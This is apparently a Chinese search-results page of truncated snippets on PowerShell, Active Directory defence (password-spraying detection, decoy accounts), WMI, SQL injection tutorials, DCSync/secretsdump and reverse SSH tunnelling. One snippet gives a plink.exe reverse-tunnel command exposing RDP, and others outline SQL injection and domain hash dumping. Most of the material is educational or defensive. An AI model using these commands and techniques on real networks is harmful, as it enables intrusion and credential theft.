首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

黑客最常用两个重要PowerShell命令

一方面,GUI给系统用户带来了操作上极大便利,用户只需要单击按钮图标就能使用操作系统所有功能;另一方面,GUI给系统管理员带来了烦琐操作步骤,例如修改Windows系统终端登录密码,需要依次单击...Set-LocalUser "administrator" -Password "password" PowerShell具有无须安装、几乎不会触发杀毒软件、可以远程执行、功能齐全等特点,从网络安全攻防角度...所以Get-Help和Get-Command这两个命令被称为“最重要两个PowerShell命令”。 1....— [-Name] :检索指定名称cmdlet命令元素,参数“”就是指定名称,例如Get-Process。...命令如下: Get-Command -CommandType cmdlet Get-* 如前文所述,PowerShell使用统一“动词-名词信息”命令格式,所以查看信息以“Get-”开头。

20810
您找到你想要的搜索结果了吗?
是的
没有找到

PowerShell --基本操作

2. cmdlet命令 它使用“动词-名词”命名形式作为一个cmdlet命令 查看当前powershell所有cmdlet 命令: get-command 列出所有Get-* 开头命令: get-command...PowerShell Aliases 为PowerShell设置别名目的,是为了向新用户提供一个能够快速交互shell。这里alias,指的是cmdlet替代名称。...(注意导入时候, 只需要添加自己常用alias,系统自带需要删除,不然会报错) 方法二: 使用powershell 配置文件 a....基本运算结果输出 PS C:\> 99 + 100 199 PS C:\> (7 - 2 * 3) / 5 0.2 d.通过赋值给变量输出 PS C:\> $n = (2+2)*3 PS C:\> $n...12 PS C:\> $n / 7 1.71428571428571 e.作为一个面向对象变量,得到数组,并输出第四个元素(powershell数组下标从0开始) ?

94810

如何通过审计安全事件日志检测密码喷洒(Password Spraying)攻击

由于每个用户帐户都有一个名为“Bad-Password-Time”关联属性,该属性在使用Active Directory PowerShell cmdlet Get-ADUser时显示为“lastbadpasswordtry...它可以显示出黑客尝试登录该帐户最后一个错误密码日期和时间。运行以下PowerShell cmdlet可显示活动目录域中具有与错误密码尝试相关属性用户。...有许多4648事件显示,一个叫做Joe用户多次尝试登录并使用“Alexis Phillips”“Christopher Kelley”whomever密码,并且这些记录在几秒钟内就被记录下来。...5.根据以下命令,编写一个每天运行PowerShell脚本并报告可能密码喷洒: get-aduser -filter * -prop lastbadpasswordattempt,badpwdcount...每个警报规则都需要根据你运行环境进行调整,具体方法就是增加警报数量缩短警报时间。

2.4K30

使用 AD 诱饵检测 LDAP 枚举和Bloodhound Sharphound 收集器

我们将通过创建一些诱饵帐户(蜂蜜帐户)并将它们与真实帐户混合来使用欺骗来检测这一点。诱饵帐户是为欺骗目的而创建帐户,也用于防御以检测恶意行为。...AD 对象详细信息,包括所有启用帐户、禁用帐户、具有 SPN 帐户、所有组织单位、组策略对象、AD 中所有安全和非安全组、内置容器中组等....下面是如何使用 GUI 完成图形表示: image.png 这也可以使用 PowerShell 来完成: New-ADUser -Name “Josh Austin” -GivenName “Josh...,但是在转发事件时,Windows 不会转发日志中对象名称值。...,因为对手希望这些帐户很有趣 总是为诱饵帐户创建又长又难密码 如果在不同地方有更多诱饵账户,当侦察活动正在进行时,我们就会有更多信息

2.5K20

使用Powershell 获取内网服务器信息和状态

服务器中虚拟机信息 Get-VM 获取活动目录域服务中用户帐号信息 Get-ADUser 获取 DHCP 服务器中,IPv4 作用域信息 Get-DHCPServerv4Scope ..........在 Module 这个参数后,将 #### 替换成不同 Module 名称, 就可以获取非常多不同命令,获取不同信息 而另外一种方法,就是使用 WMI 类,那么在我们使用 WMI 类之前,首先就需要了解以下两个问题...为什么要使用 WMI 类 一个计算机系统,它基本上包括了两个部分,软件和硬件,细分下来的话,硬件包括了 CPU,内存, 磁盘,网卡,显卡等,而软件包括了操作系统,应用程序。...这些组件可以分别来自于不同厂商,如 CPU 可以来自于 Intel AMD,操作系统可以来自于 Microsoft 或是 Redhat,内存可以是 Samsung Hynix。。。。。。...我们可以使用同样方法,依据不同管理需求,去查找更多不同类,从而去获取系统中不同信息。

2.3K40

2.Powershell基础入门学习必备语法介绍

mdlet 名称采用单数形式"动词-名词、连字符"命令形式, 一般动词与名称首字母为大写(在编程中需要抱持良好开发风格); 比如: PowerShell 具有Get-Process(正在运行哪些进程...:PowerShell 核心 cmdlet 使用标准名称 指示计算机参数建议名称是 ComputerName,而不是 Server、Host、System、Node 其他常见备选单词。...2.外部可执行文件具有已注册文件类型处理程序文件也被归类为命令。...Tips : 更好选择是使用 Verb /和 Noun 参数,因为只有 PowerShell 命令同时具有谓词和名词 。...Bypass: 没有任何阻止也没有警告提示;此执行策略设计用于将PowerShell脚本内置到更大应用程序中配置,或者用于以PowerShell具有自己安全模型程序基础配置。

4.9K10

实战|MySQL联合注入

请各位理解一下,以后尽量做到一周两更三更。 今天带来是MySQL手工注入+实际站点,会从最基础开始讲起。希望能帮到刚入门兄弟姐妹们。...SQL命令插入到Web表单递交输入域名页面请求查询字符串,最终达到欺骗服务器执行恶意SQL命令,比如先前很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出,这类表单特别容易受到...可以看到,爆出数字9与19,说明在9跟19这两个数是可控,在这里我们就要用到我们上面说函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。...查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。...这次这篇文章是给刚入门兄弟们学习,大佬们就先跳过吧。 写文章不易,内容不够丰富大家多多担待。觉得可以的话,帮忙转发一下,希望能帮到更多更入门兄弟。 以上站点已经提交至src。

1.3K20

易学易用Windows PowerShell

Monad 是 Windows PowerShell 之前项目代号,Microsoft Shell(MSH)则是另一个别名;简而言之,Windows PowerShell 具有以下特点: 一致性设计让所有工具和系统数据使用语法...cmdlet 名称格式都是以连字符号隔开一对动词和名词,并且通常都是单数名词。例如可以在线查询 cmdlet 用法 cmdlet 即为 get-help。...• get-help {}:列出指定指令主题说明,例如 get-help dir 可以查询 dir 指令用法,而 get-help about_wildcard 可以查询...因此在熟悉了 Windows PowerShell 命令操作之后,只要再熟悉 Windows PowerShell 脚本语言变量、数组、循环控制、条件控制,大致上就语言部分就差不多。...善用脚本语言 从近十年程序语言发展趋势,能明显发现脚本语言发展比系统程序语言更多样、更活络,开发者接受程度也高。

1.5K60

网络攻防对抗之“左右互搏术”

本文介绍了一种从攻防两个维度研究分析网络安全对抗技术方法。...也借此抛砖引玉,希望在安全规则优化威胁狩猎专家能有更多此方面技术分享。...假设红队导出上述某个账号密码属于域管理员组具有DCsync权限,则可使用secretsdump.py来导出域控AD目录所有账号及密码哈希。...蓝队应当经常检查域控是否有账号存在500 SID history权限,可通过powershell命令排查(Get-ADUser -Filter "SIDHistory -like ''" -Properties...这类程序一般具有微软第三方认证机构数字签名,所以不会被防病毒软件查杀,因此,往往被攻击者用于下载恶意程序、执行恶意代码、绕过UAC等内网渗透活动。

1.3K30

实战|MySQL联合注入

0x01 SQL注入原理: 一、SQL注入就是一种通过操作SQL语句进行攻击目的技术 二、SQL语句是各大数据库中语言代码 0x02 SQL注入产生: 攻击者通过把SQL命令插入到Web表单递交输入域名页面请求查询字符串...,最终达到欺骗服务器执行恶意SQL命令,比如先前很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出,这类表单特别容易受到SQL注入式攻击①不当类型处理;②不安全数据库配置;③...不合理查询集处理;④不当错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。...可以看到,爆出数字9与19,说明在9跟19这两个数是可控,在这里我们就要用到我们上面说函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。...查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。

1.3K31

1.PS编程入门基础语法

因此我们可以通过别名覆盖任意powershell命令,因为别名优先级最高。 函数:如果没有找到别名会继续寻找函数,函数类似别名,只不过它包含了更多powershell命令。...,可查询一次并将结果存储在变量中以后便使用变量内容,而无需重复使用一些开销较高查询。...在通过 PSConsoleFile 参数启动 Windows PowerShell 使用 Export-Console cmdlet 将管理单元名称导出到控制台文件 时,将填充此变量。...$MyInvocation : 包含一个对象,该对象具有有关当前命令(如脚本、函数脚本块)信息。...要创建更多嵌套命令提示符(最多 128 级)返回到原始命令提示符,请完成命令,键入”exit”。 $NestedPromptLevel 变量有助于跟踪提示级别。

20.5K20

WMI 攻击手法研究 – 基础篇 (第一部分)

文章目录[隐藏] 介绍 用 PowerShell 操作 WMI 使用 PowerShell WMI 查询 结论 这篇文章是有关 WMI 多篇系列文章中第一篇,如果读者对 PowerShell...Namespaces:简言之,名称空间是类逻辑划分,便于发现和使用,分为 3 组 (system、core、extension) 和 3 个类型 (abstract、static、dynamic),默认情况下具有代表性名称空间是...PowerShell 版本,并将版本更改为 2: 提示:这些命令名称是见名知意 (稍后我们还会深入讨论)。...在任何时候,都可以使用 Powershell 标准语法:help 来获取有关特定命令更多信息。...从 PowerShell v3 开始,MS 引入了 CIM cmdlet,它利用 WS-MAN 和 CIM 标准来管理对象,访问 CIM cmdlet 在两种情况下具有优势: 在 WMI/DCOM 本身被阻止运行

1.3K21

通过反向 SSH 隧道连接 RDP

比较方便,直接 Powershell 一句话检测: Get-ADUser -Filter {UserAccountControl -eq 66048} 方法 2: 使用日志事件 ID...*canyouseeme.*))' 注意:你可扩展查询语句,去包含更多 IP 地址 web 服务(通过 WebProxy 声誉过滤)。...*accountants)' 用例 3:DNS TXT 记录和 RRSIG 记录数据渗漏 DNS TXT 记录和 RPSIG 记录可能会和一些数据渗漏和 DNS 隧道活动,更多DNS查询类型可以在这个网址查看...SSH 隧道来建立一个RDP连接,这可以为攻击者提供一个伪 V** 服务,攻击者可以在产生更小噪音和更少痕迹前提下,通过一个键盘和一个鼠标去发现和访问更多系统。...plink.exe 10.0.2.17 -P 80 -C -R 127.0.0.1:12345:10.0.2.18:3389 -l test -pw test 这个小小改变会导致我们无法通过前两个特点来发现这种威胁

3.2K20

狩猎二进制重命名

WMI 与 WMI 事件完整描述超出了本文所讨论范围,若要详细了解更多知识可以查看扩展阅读。 ?...此示例中使用 PE 属性是原始名称查询高优先级原始名称列表并检测报警。 ? 在条件匹配时,示例程序支持写入应用程序事件日志。事件 ID 为 4,包含相关告警详细信息。...关于项目 这是一个有趣开源项目,当我发现vbscript具有查询PE属性功能时,希望其他人也可以更好地利用这个功能。...Florian Roth 在 2014 年写了一篇关于“inverse”技术文章,文中阐述了如何利用 Powershell 脚本获得所有需要扫描文件,并将每个文件名作为外部变量传递给 Yara 进行扫描...作为目标检测一部分,围绕性能其他优化也可以是针对特定感兴趣位置查询。 要记住使用 Powershell 方法利用 Windows API。

1.3K20

Docker最全教程——数据库容器化(十一)

环境变量 必填项: · ACCEPT_EULA = Y(表示接受最终用户许可协议,否则无法启动) · SA_PASSWORD = (密码必须符合复杂密码要求,包含大小写字母以及数字特殊符号...服务器名称 输入目标计算机名称IP 地址。 身份验证 对于 Linux 上 SQL Server,请使用SQL Server 身份验证。...登录 输入数据库服务器上具有访问权限用户名称 (例如,默认值SA安装过程中创建帐户)。 密码 指定用户输入密码 (对于SA帐户,则此安装过程中创建)。...如图所示,我们输入上述内容,以及刚才我们通过环境变量设置密码“123456abcD”,点击连接,可以看到如下图所示界面: ? 我们可以通过界面来管理我们数据库以及执行相关查询: ?...比如,我们创建一个MyDb数据库,可以执行以下脚本: CREATE DATABASE MyDB SELECT Name from sys.Databases GO 第一行为创库脚本,第二行执行查询查询服务器上所有数据库名称

2.2K40

Docker最全教程——数据库容器化(十)

环境变量 必填项: · ACCEPT_EULA = Y(表示接受最终用户许可协议,否则无法启动) · SA_PASSWORD = (密码必须符合复杂密码要求,包含大小写字母以及数字特殊符号...服务器名称 输入目标计算机名称IP 地址。 身份验证 对于 Linux 上 SQL Server,请使用SQL Server 身份验证。...登录 输入数据库服务器上具有访问权限用户名称 (例如,默认值SA安装过程中创建帐户)。 密码 指定用户输入密码 (对于SA帐户,则此安装过程中创建)。...如图所示,我们输入上述内容,以及刚才我们通过环境变量设置密码“123456abcD”,点击连接,可以看到如下图所示界面: ? ? 我们可以通过界面来管理我们数据库以及执行相关查询: ? ?...比如,我们创建一个MyDb数据库,可以执行以下脚本: CREATE DATABASE MyDB SELECT Name from sys.Databases GO  第一行为创库脚本,第二行执行查询查询服务器上所有数据库名称

2.8K20
领券